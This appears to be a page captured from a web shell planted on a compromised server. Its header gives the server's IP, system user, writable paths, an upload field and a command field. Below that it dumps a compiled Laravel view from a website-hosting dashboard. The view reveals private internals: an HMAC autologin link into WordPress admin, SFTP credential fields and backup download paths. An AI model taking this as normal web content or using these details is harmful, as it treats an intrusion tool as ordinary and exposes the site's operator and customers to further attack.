403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/silversharkdev/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/silversharkdev/storage/framework/views/4beb132768cd1184a3973be99eb633ef.php
<?php $__env->startSection('content'); ?>
<div class="" id="result">
    <div class="page-content overview">
        <div class="container">
             <?php if($website->plan && $website->plan->type!=="one-time" && $website->is_cancellation_requested==1): ?>
            <div class="mt-5 text-center verify-mail-error">
                Subscription ends on: <?php echo e(\Carbon\Carbon::parse($website->subscription_end)->format('d M Y, h:i A')); ?>

            </div>
            <?php endif; ?>
            <div class="row">
                <div class="top-flex pb-4">
                    
                    <div>
                          <a href="<?php echo e(route('dashboard')); ?>" class="mb-0 font-size-18 page-inner-title back-link-site">&lt; Back to Websites</a>
                    </div>
                    <div class="btn-group-overvw">
                            <?php if(!$website->plan): ?>
                            <form  action="<?php echo e(route('website.remove',['id'=>$website->id])); ?>" method="POST">
                                <?php echo csrf_field(); ?>
                                <?php echo method_field('DELETE'); ?>
                                <button type="submit" class="btn btn-outline-primary button-text cyan mx-1 remove_website show_confirm_message" data-confirm-msg="Are you sure you want to delete this website?&lt;div class='mt-3'&gt;Note: Please note that once deleted, this cannot be restored.&lt;/div&gt;" data-bs-toggle="tooltip" data-bs-placement="top" note="" title="" data-bs-original-title="">
                                   <img src="<?php echo e(asset('assets/images/delete.svg')); ?>" height="20" alt="icon"> Delete 
                                </button>
                            </form>
                                <?php if(auth()->user()->email_verified_at!=null): ?> 
                            <!-- <a href="<?php echo e(route('website.pricing_plans.list',['id'=>$website->id])); ?>"  class="btn btn-outline-primary button-text blue mx-1" title="View plans"><img src="<?php echo e(asset('assets/images/upgrad.svg')); ?>" alt="icon"> Upgrade</a> -->
                                <?php endif; ?>
                            <?php endif; ?>
                            
                            <?php
                                $signature = @hash_hmac('sha256', "site_id_".$website->id."|email_id_".auth()->user()->email, env('WP_SSO_KEY'));

                                $disable_download = true;
                            ?>
                            <?php if(true || $website->plan): ?>
                            <a class="btn btn-outline-primary button-text cyan mx-1" href="<?php echo e($website->domain && $website->domain_status=='completed' ? 'https://'.$website->domain.'/index.php/wp-json/wp/v1/autologin?payload='.$signature.'&email='.urlencode(auth()->user()->email) : 'https://'.@$server_meta['domain'].'.bloxby.io/index.php/wp-json/wp/v1/autologin?payload='.$signature.'&email='.urlencode(auth()->user()->email)); ?>" target="_blank" class="btn btn-outline-primary button-text">
                                <img src="<?php echo e(asset('assets/images/wp.svg')); ?>" alt="icon"> WP Admin
                            </a>
                            <?php endif; ?>
                            <?php if($website->plan && $website->plan->type=="one-time"): ?>
                                <?php
                                    $request_download_zip = $website->latestWebsiteArchiveRequest($website->id);
                                    
                                    $disable_download = false;
                                    if($request_download_zip && ($request_download_zip->status == 'inprogress' || $request_download_zip->status == 'pending')){
                                        $disable_download = true;
                                    }
                                ?>
                                <?php if($disable_download): ?>
                            <div data-bs-toggle="tooltip" title="The request is in progress">
                                         <span class="btn btn-outline-primary button-text cyan disabled" disabled>Request Download</span>
                                    </div>
                                <?php else: ?>
                            <a class="btn btn-outline-primary button-text cyan mx-1 blue" href="<?php echo e(route('website.zip.download',['id'=>$website->id])); ?>">Request Download</a>
                                <?php endif; ?>
                            <?php endif; ?>
                            <?php if($website->plan && $website->plan->type!=="one-time"): ?>
                                <?php if($website->is_cancellation_requested==0): ?>
                                <form class="cencel-icon" action="<?php echo e(route('website.cancel_plan',['id'=>$website->id])); ?>" method="GET" >
                                    <button class="btn btn-outline-primary button-text mx-1 blue show_cancel_confirm_message " data-confirm-msg="<?php echo e('Are you sure you want to cancel the current plan for your website?'); ?>" title="Cancel plan">
                                        <i class="mdi mdi-cancel"></i>
                                        Cancel Plan
                                    </button>
                                </form>
                                
                                <?php endif; ?>
                            <?php endif; ?>
                    </div>
                </div>
                <div class="col-12">
                    <div class="page-title-box d-flex align-items-center gap-3 pb-2">
                    <h4 class="mb-0  page-inner-title"><?php echo e($website->title); ?> <span><?php echo e($website->plan ? $website->plan->title : ""); ?></span></h4>
                    <?php /*<a href="#" target="_blank" class="btn btn-outline-primary button-text edit"><img src="/assets/images/edit.svg" alt="icon"> Edit</a>*/ ?>
                </div>
                <div>
                    <a href="<?php echo e($website->domain && $website->domain_status=='completed'  ? 'https://'.$website->domain : 'https://'.@$server_meta['domain'].'.bloxby.io'); ?>" class="site-link" target="_blank">
                        <?php echo e($website->domain && $website->domain_status=='completed'  ? $website->domain : @$server_meta['domain'].'.bloxby.io'); ?>

                    </a>
                </div>
                    <div class="mt-2">
                        <?php if($website->status === 'inprogress' || $website->status === 'pending'): ?>
                        Under construction
                        <?php elseif($website->status === 'error'): ?>
                        Error
                        <?php elseif($website->status === 'completed'): ?>
                        <!-- Completed -->
                        <?php endif; ?>
                    </div>
                </div>

                <div class="web-details top-flex pt-4">
                    <div>
                        <span>Hosted on</span>
                        <p>Bloxby Premium Hosting </p>
                    </div>
                     <div>
                        <span>Data center</span>
                        <p>Council, Bluffs, lowa, USA </p>
                    </div>
                    <div>
                        <span>Environment</span>
                        <p><?php echo e($website->domain ? "Live" : "Sandbox"); ?></p>
                    </div>
                      <div>
                        <span>IPV4 address</span>
                        <p><?php echo e(env("SERVER_IP")); ?></p>
                    </div>
                      <div>
                        <span>SSL</span>
                        <p><img  class="active-icon" src="/assets/images/active.svg" alt="icon"> Active SSL<p>
                    </div>
                      <div>
                        <span>CDN status</span>
                        <p><img  class="active-icon not-active" src="/assets/images/active.svg" alt="icon"> Not active </p>
                    </div>
                </div>

            </div>


            
            <div class="card mt-3 bg-transparent shadow-none">
                <div class="card-body m-0 p-0">
                    <?php
                        $server_meta = @json_decode($website->server_meta, true);

                        $show_drop_down = true;

                        $download_zip_request = null;
                        
                        $menu_options = [
                            "ftp"=>false,
                            "domain"=>false,
                            "remove_domain"=>false,
                            "zip"=>false,
                            "download_zip"=>false
                        ];

                        if(!$website->plan){
                            $show_drop_down = false;
                        }
                        
                        if($website->plan){
                            if($website->plan->type!=="one-time"){
                                $menu_options["ftp"] = true;

                                if($website->domain==null){
                                    $menu_options["domain"] = true;
                                    $menu_options["remove_domain"] = false;
                                } else {
                                    $menu_options["domain"] = false;
                                    $menu_options["remove_domain"] = true;
                                }
                                $menu_options["zip"] = false;

                                $menu_options["download_zip"] = false;
                            } else {
                                $menu_options["ftp"] = true;

                                $menu_options["domain"] = false;
                                $menu_options["remove_domain"] = false;

                                $menu_options["zip"] = true;

                                $download_zip_request = $website->latestCompleteWebsiteArchiveRequest($website->id);

                                if($download_zip_request){
                                    $menu_options["download_zip"] = true;
                                }
                            }
                        } 
                        
                    ?>
                    <div id="tabs">
                        <ul class="nav nav-tabs nav-tabs-custom fs-4">
                            <li class="nav-item"><a data-bs-toggle="tab" class="nav-link bg-transparent active" href="#tab-overview">Site Information</a></li>
                            <?php if($menu_options["ftp"]): ?>
                            <li class="nav-item"><a data-bs-toggle="tab" class="nav-link bg-transparent" href="#tab-ftp">FTP Information</a></li>
                            <?php endif; ?>
                            <?php if( $menu_options["domain"] || $menu_options["remove_domain"]): ?>
                            <li  class="nav-item"><a data-bs-toggle="tab" class="nav-link bg-transparent" href="#tab-domain">Domains</a></li>
                            
                            <?php endif; ?>
                            <?php if($menu_options["zip"] || $menu_options["download_zip"]): ?>
                             <li  class="nav-item"><a data-bs-toggle="tab" class="nav-link bg-transparent" href="#tab-backup">Backup</a></li>
                            <?php endif; ?>
                            
                        </ul>
                        <style>
                            .fa-spinner {
                                animation: 5s linear infinite fa-spinner;
                            }
                            @keyframes fa-spinner {
                              to { transform: rotate(360deg) }
                            }

                        </style>
                        <div class="tab-content tab-grid py-4 pb-0">
                            <div class="tab-pane active" id="tab-overview">
                                <div class="cards-wrapper">
                                    <div class="dash-card pagescore-card card p-4 text-black mb-0">
                                        <div class="dash-card-head d-flex align-items-start justify-content-between">
                                            <div>
                                                <h3 class="title fs-4 text-black">PageSpeed Score</h3>
                                                <div class="date fs-5 text-muted" id="analyzedDate">Last Analyzed: <?php echo date('m/d/Y') ?></div>
                                            </div>
                                            <button class="btn btn-primary rounded-3 blue" id="refreshPageSpeed"><i class="fas fa-redo-alt"></i> Reanalyze</button>
                                        </div>

                                        <div class="pagescore-result-grid mt-4">
                                          <div class="pagescore-result-wrap">
                                            <div class="circle-wrap-bg">
                                                <div class="circle" id="desktopScore">
                                                    <img class="score-initial" src="/assets/images/speed-init.png" style="width: 120%;">
                                                </div>
                                            </div>
                                            <div class="pagescore-result-score">
                                                <div class="label fs-6 text-muted mb-1">Desktop Score</div>
                                                <div class="load-time fs-5" id="desktopLoad">Load Time: 0.5s</div>
                                            </div>
                                            
                                          </div>
                                          <div class="pagescore-result-wrap">
                                            <div class="circle-wrap-bg">
                                                <div class="circle" id="mobileScore">
                                                    <img class="score-initial" src="/assets/images/speed-init.png" style="width: 120%;">
                                                </div>
                                            </div>
                                            <div class="pagescore-result-score">
                                                <div class="label fs-6 text-muted mb-1">Mobile Score</div>
                                                <div class="load-time fs-5" id="mobileLoad">Load Time: 0.5s</div>
                                            </div>
                                          </div>
                                        </div>

                                        <div class="pagescore-note p-2 rounded-3 bg-light mt-4 text-center">🚀 Boost your website performance and security with Bloxby Hosting.</div>
                                    </div>
                                    <div class="d-flex w-100 gap-4 d-none">

                                        <div class="dash-card  pagescore-card card p-5 mb-0 border-1 border-lighttext-black w-100 align-items-center justify-content-center">
                                            <!--<h4 class="text-black text-center">Plugins & Updates</h4>
                                            <p class="text-center text-muted">Always up to date for top performance and security.</p>-->
                                            <p class="card-text text-muted text-center"><strong>Generated on:</strong> <?php echo e($website->created_at ? $website->created_at->setTimezone(env('TIMEZONE_USER'))->format('d F Y, h:i A'):"NA"); ?></p>
                                <p class="card-text text-muted "><strong>Size:</strong> <span class="<?php if ($website->usage > 400) {
                                                                                                            echo 'text-danger';
                                                                                                        } ?>"><?php echo e($website->usage ? round($website->usage,2)." mb":"Calculating.."); ?></span></p>
                                <?php if ($website->usage > 400) {  ?><span class="<?php if ($website->usage > 400) {
                                                                                        echo 'text-danger';
                                                                                    } ?>">Your website usage has been exceeded 400mb</span><?php } ?>
                                        </div>

                                        <div class="dash-card coming-soon pagescore-card mb-0 pagescore-card-inner card p-5 border-1 border-light  w-100 text-black align-items-center justify-content-center">
                                             <div class="dropdown d-inline-block dropdown-inner">
                                                <button type="button" class="btn  waves-effect disable" id="page-header-user-dropdown" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                                                    <span class="d-none d-xl-inline-block ms-1" key="t-henry">Last 7 Days</span>
                                                    <i class="mdi mdi-chevron-down d-none d-xl-inline-block"></i>
                                                </button>
                                                <div class="dropdown-menu dropdown-menu-end">
                                                    <a class="dropdown-item" href="#">
                                                        <span >One Month</span></a>
                                                    <div class="dropdown-divider"></div>
                                                     <a class="dropdown-item" href="#">
                                                        <span >One Month</span></a>
                                                </div>
                                            </div>

                                            <h4 class="text-black text-center">Site Visits</h4>
                                             <p class="text-center text-muted">This section will display your Bloxby site’s traffic data as soon as visitors start arriving.</p>
                                        </div>
                                    </div>
                                </div>

                            </div>
                            <?php if($menu_options["ftp"]): ?>
   <div class="tab-pane p-4" id="tab-domain" style="display: block;">
                                <h3 class="title fs-4 text-black">Domain Details</h3>
                                <?php if(!$website->domain): ?>
                                <div class="domain-sec">
                                      No domains attached
                                    <a  data-website="<?php echo e($website->id); ?>" data-action="<?php echo e($website->plan ? 'attach-domain' : 'view-plans'); ?>" href="<?php echo e(route('website.domain.add',[$website->id])); ?>" target="_blank" class="btn btn-outline-primary button-text attach-domain">
                                        Attach a Domain
                                    </a>
                                  
                                </div>
                              
                                <?php else: ?>
                                <table class="table w-100 table-domain">
                                    <tr>
                                        <th>Domain</th>
                                        <th>DNS status</th>
                                        <th>SSL</th>
                                        <th>Status</th>
                                        <th></th>
                                    </tr>
                                    <tr>
                                        <td><?php echo e($website->domain); ?></td>
                                        
                                        <td>
                                            <?php if($dns_status): ?>
                                            <img width="24" src="<?php echo e(asset('assets/images/icons/check-green.png')); ?>" />
                                            <?php else: ?>
                                            <img width="20" src="<?php echo e(asset('assets/images/icons/remove-red.png')); ?>" />
                                            <?php endif; ?>
                                        </td>
                                        <td>
                                            <?php if($website->domain_status=="completed"): ?>
                                            <img width="24" src="<?php echo e(asset('assets/images/icons/check-green.png')); ?>" />
                                            <?php else: ?>
                                            <img width="20" src="<?php echo e(asset('assets/images/icons/remove-red.png')); ?>" />
                                            <?php endif; ?>
                                        </td>
                                        <td>
                                            <?php if($website->domain_status=="pending"): ?>
                                            Pending
                                            <?php endif; ?>
                                            <?php if($website->domain_status=="completed"): ?>
                                            Pointed
                                            <?php endif; ?>
                                            <?php if($website->domain_status=="inprogress"): ?>
                                            In progress
                                            <?php endif; ?>
                                            <?php if($website->domain_status=="error"): ?>
                                            Error
                                            <?php endif; ?>
                                        </td>
                                        <td class="text-end">
                                            <a href="javascript:;" target="_blank" class="btn btn-outline-primary button-text dns-instructions-btn view">
                                                <!-- View DNS Instructions -->
                                                <img src="<?php echo e(asset('assets/images/web-view.svg')); ?>" width="20px" alt="icon"/>
                                            </a>
                    
                                             <?php if($website->domain_status=="completed"): ?>
                                            <a href="<?php echo e(route('website.domain.remove',[$website->id])); ?>" class="btn btn-outline-primary button-text">
                                                <!-- Unattach Domain -->
                                                <img src="<?php echo e(asset('assets/images/domain.png')); ?>" width="20px" alt="icon"/>
                                            </a>
                                            <?php endif; ?>
                                             <?php if($website->domain_status=="pending"): ?>
                                             <form style="display:inline-block;" method="GET" action="<?php echo e(route('website.domain.delete',[$website->id])); ?>">
                                            <a href="<?php echo e(route('website.domain.delete',[$website->id])); ?>" class="btn btn-outline-primary button-text show_confirm_message" data-confirm-title="Delete Domain" data-confirm-msg="Are you sure you want to delete this domain?">
                                                <!-- Delete Domain -->
                                                <img src="/assets/images/delete.svg" width="20px" alt="icon">
                                            </a>
                                            </form>
                                            <?php endif; ?>
                                        </td>
                                    </tr>
                                </table>
                                <?php endif; ?>
                                                                
                            </div>

                      
                            <?php endif; ?>
                            <?php if($menu_options["ftp"] || $menu_options["domain"] || $menu_options["remove_domain"]): ?>
                                  <div class="tab-pane ftp-details p-4" id="tab-ftp" style="display: block;">
                                <h3 class="title fs-4 text-black">FTP Details</h3>
                                <div class=" web-details ">
                                <div><span>Host:</span> <p id="sftpHost"><?php echo e($sftp_ip); ?></p></div>
                                <div><span>Port:</span> <p id="sftpPort">22</p></div>
                                <div><span>Username:</span> <p id="sftpUser"><?php echo e($sftp_user); ?></p></div>
                                <div><span>Password:</span> <p id="sftpPass"><?php echo e($sftp_pass); ?></p></div>
                                </div>
                            </div>
                            <?php endif; ?>
                            <div class="tab-pane detail-card" id="tab-backup" style="display: block;">
                                 <h3 class="title fs-4 text-black">Backup</h3>
                                <?php
                                    $download_zip_request = null;
                                    if($website->plan){
                                        if($website->plan->type=="one-time"){
                                            $download_zip_request = $website->latestCompleteWebsiteArchiveRequest($website->id);
                                        } 
                                    }   
                                ?>
                                <?php if($download_zip_request): ?>
                                <table class="table table-domain cards-wrapper">   
                                    <tr>
                                        
                                        <th>Date Time</th>
                                        <th>Description</th>
                                        
                                        <th></th>
                                    </tr>
                                    <tr>
                                        <td><?php echo e($download_zip_request->created_at->format('d M. Y h:i A')); ?></td>
                                        
                                        <td>
                                           Website backup
                                        </td>
                                        
                                        <td class="text-end">
                                            <a href="https://backups.bloxby.io/<?php echo e(env('ENVIRONMENT')); ?>/<?php echo e($download_zip_request->backup_file); ?>" target="_blank" class="btn btn-outline-primary button-text dns-instructions-btn">
                                                Download Now
                                            </a>
                                             
                                        </td>
                                    </tr>
                                </table>
                                <?php else: ?>
                                <div class="d-flex justify-content-between align-items-center gap-2">
                                    <p class="mb-0 fs-16"> No downloads are ready</p>
                                        <?php if($disable_download): ?>
                                    <div data-bs-toggle="tooltip" title="The request is in progress">
                                         <span class="btn btn-outline-primary button-text cyan disabled" disabled>Request Download</span>
                                    </div>
                                        <?php else: ?>
                                    <a class="btn btn-outline-primary button-text cyan mx-1 blue" href="<?php echo e(route('website.pricing_plans.list',['id'=>$website->id,'action'=>'domain'])); ?>">Request Download</a>
                                        <?php endif; ?>

                                    
                                </div>
                                    <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </div>
    <?php echo $__env->make('partials.modals.confirm_modal',['title'=>"Delete website"], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
    <?php echo $__env->make('partials.modals.sftp_modal',['title'=>"SFTP credentials"], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
    <?php echo $__env->make('partials.modals.attach_domain_modal',['title'=>"Add domain"], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
     <?php echo $__env->make('partials.modals.dns_instructions_modal',['title'=>"DNS instructions"], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
</div>
<div class="modal fade" id="pricingPlansModal" tabindex="-1" aria-labelledby="pricingPlansModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg modal-dialog-centered modal-dialog-scrollable">
        <div class="modal-content">
            <div class="modal-body">
                <div class="text-end">
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div id="pricingPlansContainer">
                    <p class="loading-text">Loading...</p>
                </div>
            </div>
        </div>
    </div>
</div>

<?php $__env->stopSection(); ?>
<?php $__env->startPush('scripts'); ?>
<script>
    var clicked_confirm_action = null;

    $(".show_confirm_message").click(function(e) {
        e.preventDefault();

        clicked_confirm_action = $(this);

        $("#confirmModal").find(".modal-body").html($(this).attr("data-confirm-msg"));

        if($(this).attr("data-confirm-title")){
            $("#confirmModal").find(".modal-title").html($(this).attr("data-confirm-title"));
        }
        $("#confirmModal").modal("show");



    })
    $("#confirmYesBtn").click(function() {
        clicked_confirm_action.closest("form").submit();
    })
    $(".show_cancel_confirm_message").click(function(e) {
        e.preventDefault();

        clicked_confirm_action = $(this);

        $("#confirmModal").find(".modal-body").html($(this).attr("data-confirm-msg"));

        $("#confirmModal").modal("show");

        $("#confirmModalLabel").html("Cancel plan");


    })
    $(".attach-domain").click(function(e) {
        e.preventDefault();

        //if($(this).attr("data-action")=="attach-domain"){
            $("#domainForm").attr("action", $(this).attr("href"));
            $("#attachDomainModal").modal("show");
        /*} else {
            loadPricingPlans($(this).attr("data-website"))
        }*/
    });
    $(".dns-instructions-btn").click(function(e) {
        e.preventDefault();

        
            $("#dnsInstructionsModal").modal("show");
        
    });
</script>
<script>
    function loadPricingPlans(websiteId) {
        $('#pricingPlansModal').modal('show');
        $('#pricingPlansContainer').html('<div class="loader"><img src="/loader.svg"></div>');

        $.ajax({
            url: `/pricing-plans/website/${websiteId}/list`,
            method: 'GET',
            success: function(response) {
                $('#pricingPlansContainer').html(response);
            },
            error: function() {
                $('#pricingPlansContainer').html('<p class="text-danger">Failed to load plans.</p>');
            }
        });
    }
    $(".vew_sftp_credentials").on("click", function() {

        $("#sftpModal").modal("show");

        $.ajax({
            url: "/websites/sftp", // your backend PHP route
            type: "GET",
            data: {
                website_id: $(this).attr("data_website_id")
            },
            dataType: "HTML",
            success: function(response) {
                $("#sftpModal").find(".modal-body").html(response);
            },
            error: function() {
                alert("Error fetching SFTP credentials.");
            }
        });
    });
    /*$(".remove_website").click(function(e){
        e.preventDefault();
        if(confirm("Are you sure?")){
           $(this).closest('form').submit();
        }   
    })*/
</script>
<script src="<?php echo e(asset('assets/validate/jquery.validate.min.js')); ?>"></script>
<script type="text/javascript">
    $(function() {

        $.validator.addMethod("domain", function(value, element) {
            return this.optional(element) || /^(?!:\/\/)([a-zA-Z0-9-_]+\.)+[a-zA-Z]{2,}$/.test(value);
        }, "Please enter a valid domain name (e.g., example.com)");

        $("#domainForm").validate({
            submitHandler: function(form) {
                // Disable button to prevent duplicate submissions
                $("#submitDomainBtn").prop("disabled", true);

                form.submit(); // submit the form after disabling
            },
            rules: {
                domain: {
                    required: true,
                    domain: true
                }

            },
            messages: {
                domain: {
                    required: "Domain name is required",
                    domain: "Domain must be valid (e.g., example.com, my-site.org)."
                }
            },
            errorPlacement: function(error, element) {
                error.insertAfter(element); // Default placement
            }
        })
    });
    $(document).on("change", "#recurringPlanToggle", function() {
        if ($(this).prop('checked')) {
            var plan_id = $(this).attr("data_plan_id");

            $("#price-row-" + plan_id).html($(this).attr("data_attr_yearly_price"));

            $("#plan_row_" + plan_id).html($(this).attr("data_yearly_plan_id"));
        } else {
            var plan_id = $(this).attr("data_plan_id");


            $("#price-row-" + plan_id).html($(this).attr("data_attr_monthly_price"));

            $("#plan_row_" + plan_id).html($(this).attr("data_monthly_plan_id"));
        }
    })
    $(document).on("click", ".plan-switch", function() {
        var plan = $(this).attr("data_plan");

        if(plan=="yearly"){
            $(".yearlyplan").hide();
            $(".monthlyplan").show();
        } else {
            $(".yearlyplan").show();
            $(".monthlyplan").hide();
        }
    })
    // store the currently selected tab in the hash value
    $("ul.nav-tabs > li > a").on("shown.bs.tab", function(e) {
        e.preventDefault();
        var id = $(e.target).attr("href").substr(1);
        history.replaceState(null, null, '#' + id);
    });

    // on load of the page: switch to the currently selected tab
    var hash = window.location.hash;
    let triggerEl = document.querySelector('.nav-tabs a[href="' + hash + '"]');

    if (triggerEl) {
        let tab = new bootstrap.Tab(triggerEl);
        tab.show();
    }


    /**
     * Page Speed API
     * */
    function getScoreClass(score) {
      if (score < 50) return "fail";
      if (score < 70) return "average";
      return "pass";
    }
    function fetchPageSpeed(websiteId, live = false) {
        $.ajax({
          url: "<?php echo e(url('websites/pagespeed')); ?>",
          type: "POST",
          contentType: "application/json",
          headers: {
            "X-CSRF-TOKEN": '<?php echo e(csrf_token()); ?>'
          },
          data: JSON.stringify({ website_id: websiteId, refresh: live }),
          success: function(response) {
            console.log("PageSpeed Data:", response);
            if( response.source != "notfound" ) {
                // Update analyzed date
                $("#analyzedDate").text(
                  "Last Analyzed: " + (new Date(response.last_analysed_at).toLocaleString() || new Date().toLocaleString())
                );

                // Desktop score
                let desktop_score = response.results.desktop_score * 100;
                $("#desktopScore")
                  .text(desktop_score)
                  .removeClass("fail average pass")
                  .addClass(getScoreClass(desktop_score));
                $("#desktopLoad").text("Load Time: " + response.results.desktop_interactive);

                // Mobile score
                let mobile_score = response.results.mobile_score * 100;
                $("#mobileScore")
                  .text(mobile_score)
                  .removeClass("fail average pass")
                  .addClass(getScoreClass(mobile_score));
                $("#mobileLoad").text("Load Time: " + response.results.mobile_interactive);
                $("#refreshPageSpeed .fa-spinner").removeClass("fa-spinner");
            }
          },
          error: function(xhr, status, error) {
            console.error("Error fetching PageSpeed data:", error);
            $("#refreshPageSpeed .fa-spinner").removeClass("fa-spinner");
          }
        });
    }
    fetchPageSpeed(<?php echo e($website->id); ?>);

    $("#refreshPageSpeed").click(function() {
        //Reset Elements
        $(this).find("i").addClass("fa-spinner");
        $("#desktopLoad, #mobileLoad").text("Load Time: --");
        $("#desktopLoad, #mobileLoad").text("Load Time: --");
        $(".pagescore-result-wrap .circle").removeClass("pass fail average");
        $("#desktopScore, #mobileScore").html('<img src="/assets/images/spinner-dots.svg" width="40px" height="40px">');


        fetchPageSpeed(<?php echo e($website->id); ?>, true);
    })
</script>
<?php $__env->stopPush(); ?>
<?php echo $__env->make('layouts.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/bloxby/resources/views/websites/overview.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit